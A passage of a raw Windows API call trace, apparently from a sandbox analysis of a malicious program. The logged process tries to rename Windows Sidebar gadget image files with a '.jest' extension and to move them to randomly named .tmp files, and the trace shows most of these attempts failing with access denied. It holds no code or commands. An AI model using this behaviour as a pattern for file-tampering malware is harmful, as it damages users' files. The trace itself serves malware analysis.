RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.105] GetLastError () returned 0x0 [0126.105] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.105] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.105] GetLastError () returned 0x0 [0126.105] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.105] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.105] GetTickCount () returned 0x1151fa2 [0126.105] GetTickCount () returned 0x1151fa2 [0126.105] GetTickCount () returned 0x1151fa2 [0126.105] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.105] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.105] GetTickCount () returned 0x1151fa2 [0126.106] IsWindowVisible (hWnd=0x30268) returned 0 [0126.106] Sleep (dwMilliseconds=0x0) [0126.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.107] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.107] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\system_m.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\system_m.png.jest")) returned 0 [0126.107] GetLastError () returned 0x5 [0126.107] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整彭⹭湰g") returned 0x4f [0126.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0126.107] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整彭⹭湰g") returned 0x4f [0126.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=80, lpWideCharStr=0x1467bd4, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png") returned 80 [0126.107] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整彭⹭湰⹧敪瑳") returned 0x54 [0126.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0126.107] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整彭⹭湰⹧敪瑳") returned 0x54 [0126.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=85, lpWideCharStr=0x144ddec, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png.jest") returned 85 [0126.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png", lpUsedDefaultChar=0x0) returned 80 [0126.108] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png", lpFilePart=0x18e6d8*="system_m.png") returned 0x4f [0126.108] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f1af9b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f1af9b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56cde3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x78, dwReserved1=0x0, cFileName="system_m.png", cAlternateFileName="")) returned 0x143ce48 [0126.108] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.108] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.108] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3d7)) [0126.108] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3d7)) [0126.108] GetUserDefaultLCID () returned 0x409 [0126.108] VarBstrFromR4 (in: fltIn=0x479444fe, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.98") returned 0x0 [0126.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0126.109] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.109] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.109] GetTickCount () returned 0x1151fa2 [0126.109] GetTickCount () returned 0x1151fa2 [0126.109] GetTickCount () returned 0x1151fa2 [0126.109] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.109] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.109] GetTickCount () returned 0x1151fa2 [0126.110] IsWindowVisible (hWnd=0x30268) returned 0 [0126.110] Sleep (dwMilliseconds=0x0) [0126.110] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.111] GetFullPathNameA (in: lpFileName="mvvJsDBbv0uEVS7H0Fk6mpd_sVjiQlKaEZ571kMoRCrcVGNzTNRsR95ZR2a-Rtk4b6aTV2fif6oTiPer__5AFFAhpitF1yhn9hGK.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mvvJsDBbv0uEVS7H0Fk6mpd_sVjiQlKaEZ571kMoRCrcVGNzTNRsR95ZR2a-Rtk4b6aTV2fif6oTiPer__5AFFAhpitF1yhn9hGK.tmp", lpFilePart=0x18e708*="mvvJsDBbv0uEVS7H0Fk6mpd_sVjiQlKaEZ571kMoRCrcVGNzTNRsR95ZR2a-Rtk4b6aTV2fif6oTiPer__5AFFAhpitF1yhn9hGK.tmp") returned 0x8e [0126.111] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png", lpFilePart=0x18e708*="system_m.png") returned 0x4f [0126.111] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\system_m.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mvvJsDBbv0uEVS7H0Fk6mpd_sVjiQlKaEZ571kMoRCrcVGNzTNRsR95ZR2a-Rtk4b6aTV2fif6oTiPer__5AFFAhpitF1yhn9hGK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mvvjsdbbv0uevs7h0fk6mpd_svjiqlkaez571kmorcrcvgnztnrsr95zr2a-rtk4b6atv2fif6otiper__5affahpitf1yhn9hgk.tmp")) returned 0 [0126.111] GetLastError () returned 0x5 [0126.111] GetLastError () returned 0x5 [0126.111] SetLastError (dwErrCode=0x5) [0126.111] GetLastError () returned 0x5 [0126.111] SetLastError (dwErrCode=0x5) [0126.111] GetLastError () returned 0x5 [0126.112] SetLastError (dwErrCode=0x5) [0126.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.112] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.112] GetFullPathNameA (in: lpFileName="mvvJsDBbv0uEVS7H0Fk6mpd_sVjiQlKaEZ571kMoRCrcVGNzTNRsR95ZR2a-Rtk4b6aTV2fif6oTiPer__5AFFAhpitF1yhn9hGK.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mvvJsDBbv0uEVS7H0Fk6mpd_sVjiQlKaEZ571kMoRCrcVGNzTNRsR95ZR2a-Rtk4b6aTV2fif6oTiPer__5AFFAhpitF1yhn9hGK.tmp", lpFilePart=0x18e6e4*="mvvJsDBbv0uEVS7H0Fk6mpd_sVjiQlKaEZ571kMoRCrcVGNzTNRsR95ZR2a-Rtk4b6aTV2fif6oTiPer__5AFFAhpitF1yhn9hGK.tmp") returned 0x8e [0126.112] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mvvJsDBbv0uEVS7H0Fk6mpd_sVjiQlKaEZ571kMoRCrcVGNzTNRsR95ZR2a-Rtk4b6aTV2fif6oTiPer__5AFFAhpitF1yhn9hGK.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4a76766d, cFileName="sDBbv0uEVS7H0Fk6mpd_sVjiQlKaEZ571kMoRCrcVGNzTNRsR95ZR2a-Rtk4b6aTV2fif6oTiPer__5AFFAhpitF1yhn9hGK.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.112] GetLastError () returned 0x2 [0126.112] GetLastError () returned 0x2 [0126.112] SetLastError (dwErrCode=0x2) [0126.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.113] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.113] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.113] GetLastError () returned 0x0 [0126.113] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.114] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.114] GetLastError () returned 0x0 [0126.114] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.114] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.114] GetTickCount () returned 0x1151fa2 [0126.114] GetTickCount () returned 0x1151fa2 [0126.114] GetTickCount () returned 0x1151fa2 [0126.114] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.114] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.114] GetTickCount () returned 0x1151fa2 [0126.114] IsWindowVisible (hWnd=0x30268) returned 0 [0126.114] Sleep (dwMilliseconds=0x0) [0126.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.115] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.116] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\system_s.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\system_s.png.jest")) returned 0 [0126.116] GetLastError () returned 0x5 [0126.116] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整彭⹳湰g") returned 0x4f [0126.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0126.116] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整彭⹳湰g") returned 0x4f [0126.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=80, lpWideCharStr=0x14cf24c, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png") returned 80 [0126.116] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整彭⹳湰⹧敪瑳") returned 0x54 [0126.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0126.116] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜獹整彭⹳湰⹧敪瑳") returned 0x54 [0126.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=85, lpWideCharStr=0x144ddec, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png.jest") returned 85 [0126.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png", lpUsedDefaultChar=0x0) returned 80 [0126.116] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png", lpFilePart=0x18e6d8*="system_s.png") returned 0x4f [0126.116] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f1af9b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f1af9b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56f3f9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbbb, dwReserved0=0x78, dwReserved1=0x0, cFileName="system_s.png", cAlternateFileName="")) returned 0x143ce48 [0126.116] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.117] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.117] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3d7)) [0126.117] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3d7)) [0126.117] GetUserDefaultLCID () returned 0x409 [0126.117] VarBstrFromR4 (in: fltIn=0x479444fe, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.98") returned 0x0 [0126.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="†") returned 1 [0126.117] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.117] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.117] GetTickCount () returned 0x1151fa2 [0126.117] GetTickCount () returned 0x1151fa2 [0126.118] GetTickCount () returned 0x1151fa2 [0126.118] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.118] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.118] GetTickCount () returned 0x1151fa2 [0126.118] IsWindowVisible (hWnd=0x30268) returned 0 [0126.118] Sleep (dwMilliseconds=0x0) [0126.119] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.119] GetFullPathNameA (in: lpFileName="P-q8Nx7ofmfuHp7kyUVXqWswpjr35wYltREv16D1p7lKs_NUmP3PV4 kjfmATl4qjvh_dwrIcrSMEMczEpljiZ5MiO4_vlcnCINiB.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P-q8Nx7ofmfuHp7kyUVXqWswpjr35wYltREv16D1p7lKs_NUmP3PV4 kjfmATl4qjvh_dwrIcrSMEMczEpljiZ5MiO4_vlcnCINiB.tmp", lpFilePart=0x18e708*="P-q8Nx7ofmfuHp7kyUVXqWswpjr35wYltREv16D1p7lKs_NUmP3PV4 kjfmATl4qjvh_dwrIcrSMEMczEpljiZ5MiO4_vlcnCINiB.tmp") returned 0x8f [0126.119] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png", lpFilePart=0x18e708*="system_s.png") returned 0x4f [0126.119] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\system_s.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P-q8Nx7ofmfuHp7kyUVXqWswpjr35wYltREv16D1p7lKs_NUmP3PV4 kjfmATl4qjvh_dwrIcrSMEMczEpljiZ5MiO4_vlcnCINiB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p-q8nx7ofmfuhp7kyuvxqwswpjr35wyltrev16d1p7lks_nump3pv4 kjfmatl4qjvh_dwricrsmemczepljiz5mio4_vlcncinib.tmp")) returned 0 [0126.119] GetLastError () returned 0x5 [0126.119] GetLastError () returned 0x5 [0126.119] SetLastError (dwErrCode=0x5) [0126.119] GetLastError () returned 0x5 [0126.119] SetLastError (dwErrCode=0x5) [0126.119] GetLastError () returned 0x5 [0126.119] SetLastError (dwErrCode=0x5) [0126.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.120] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.120] GetFullPathNameA (in: lpFileName="P-q8Nx7ofmfuHp7kyUVXqWswpjr35wYltREv16D1p7lKs_NUmP3PV4 kjfmATl4qjvh_dwrIcrSMEMczEpljiZ5MiO4_vlcnCINiB.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P-q8Nx7ofmfuHp7kyUVXqWswpjr35wYltREv16D1p7lKs_NUmP3PV4 kjfmATl4qjvh_dwrIcrSMEMczEpljiZ5MiO4_vlcnCINiB.tmp", lpFilePart=0x18e6e4*="P-q8Nx7ofmfuHp7kyUVXqWswpjr35wYltREv16D1p7lKs_NUmP3PV4 kjfmATl4qjvh_dwrIcrSMEMczEpljiZ5MiO4_vlcnCINiB.tmp") returned 0x8f [0126.120] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P-q8Nx7ofmfuHp7kyUVXqWswpjr35wYltREv16D1p7lKs_NUmP3PV4 kjfmATl4qjvh_dwrIcrSMEMczEpljiZ5MiO4_vlcnCINiB.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x38712d50, cFileName="Nx7ofmfuHp7kyUVXqWswpjr35wYltREv16D1p7lKs_NUmP3PV4 kjfmATl4qjvh_dwrIcrSMEMczEpljiZ5MiO4_vlcnCINiB.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.120] GetLastError () returned 0x2 [0126.120] GetLastError () returned 0x2 [0126.120] SetLastError (dwErrCode=0x2) [0126.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") 